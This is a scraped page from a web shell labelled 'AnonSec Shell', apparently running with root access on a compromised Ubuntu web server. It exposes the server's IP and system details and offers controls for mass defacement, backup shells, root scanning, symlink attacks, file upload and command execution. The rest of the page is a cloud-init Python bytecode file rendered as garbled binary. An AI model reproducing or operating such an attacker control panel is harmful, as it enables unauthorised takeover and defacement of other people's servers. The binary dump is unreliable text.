AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_snap.cpython-310.pyc
o

m[hH
�
@s�UdZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZe�e�Zd	d
ge
dgd�Zeed
<dZdd�Zdd�Zdede	dededdf
dd�ZdS)z<Snap: Install, configure and manage snapd and snap packages.�N)�subp�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCE)�prepend_base_command�cc_snap�ubuntu�snap)�id�distros�	frequency�activate_by_schema_keys�metacCs�|sdSt�d�t|t�r|��}n
t|t�s tdj|d���td|g}d�	|�}|D]}t�d|�
d�dd	��q,t�||�
d
��tj|dd�dS)
aImport list of assertions.

    Import assertions by concatenating each assertion into a
    string separated by a '\n'.  Write this string to a instance file and
    then invoke `snap ack /path/to/file` and check for errors.
    If snap exits 0, then all assertions are imported.
    Nz'Importing user-provided snap assertionsz8assertion parameter was not a list or dict: {assertions})�
assertions�ack�
zSnap acking: %sr�zutf-8T)�capture)�LOG�debug�
isinstance�dict�values�list�	TypeError�format�SNAP_CMD�join�splitr�
write_file�encoder)r�assertions_file�snap_cmd�combined�asrt�r'�:/usr/lib/python3/dist-packages/cloudinit/config/cc_snap.py�add_assertionss"



��

r)cCs�|sdSt�d�t|t�rdd�t|���D�}n
t|t�s'tdj|d���t	d|�}g}|D]*}t|t
�}z	tj||d�Wq0tjyZ}z
|�
t
|��WYd}~q0d}~ww|rmd	j|d
�}t�t|�t|��dS)aHRun the provided commands provided in snap:commands configuration.

    Commands are run individually. Any errors are collected and reported
    after attempting all commands.

    @param commands: A list or dict containing commands to run. Keys of a
        dict will be used to order the commands provided as dict values.
    Nz#Running user-provided snap commandscSsg|]\}}|�qSr'r')�.0�_�vr'r'r(�
<listcomp>Isz run_commands.<locals>.<listcomp>z5commands parameter was not a list or dict: {commands})�commandsr)�shellz.Failures running snap commands:
{cmd_failures})�cmd_failures)rrrr�sorted�itemsrrrr�strr�ProcessExecutionError�appendr�logexc�RuntimeError)r.�fixed_snap_commandsr0�commandr/�e�msgr'r'r(�run_commands;s8	


��

����r<�name�cfg�cloud�args�returncCsV|�di�}|st�d|�dSt|�dg�tj�|j��d��t	|�dg��dS)Nrz8Skipping module named %s, no 'snap' key in configurationrzsnapd.assertionsr.)
�getrrr)�os�pathr�paths�
get_ipath_curr<)r=r>r?r@�cfginr'r'r(�handlebs�
�rH)�__doc__�loggingrC�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr�cloudinit.subpr�	getLogger�__name__rr�__annotations__rr)r<r3rrHr'r'r'r(�<module>s&
�"'

Anon7 - 2022
AnonSec Team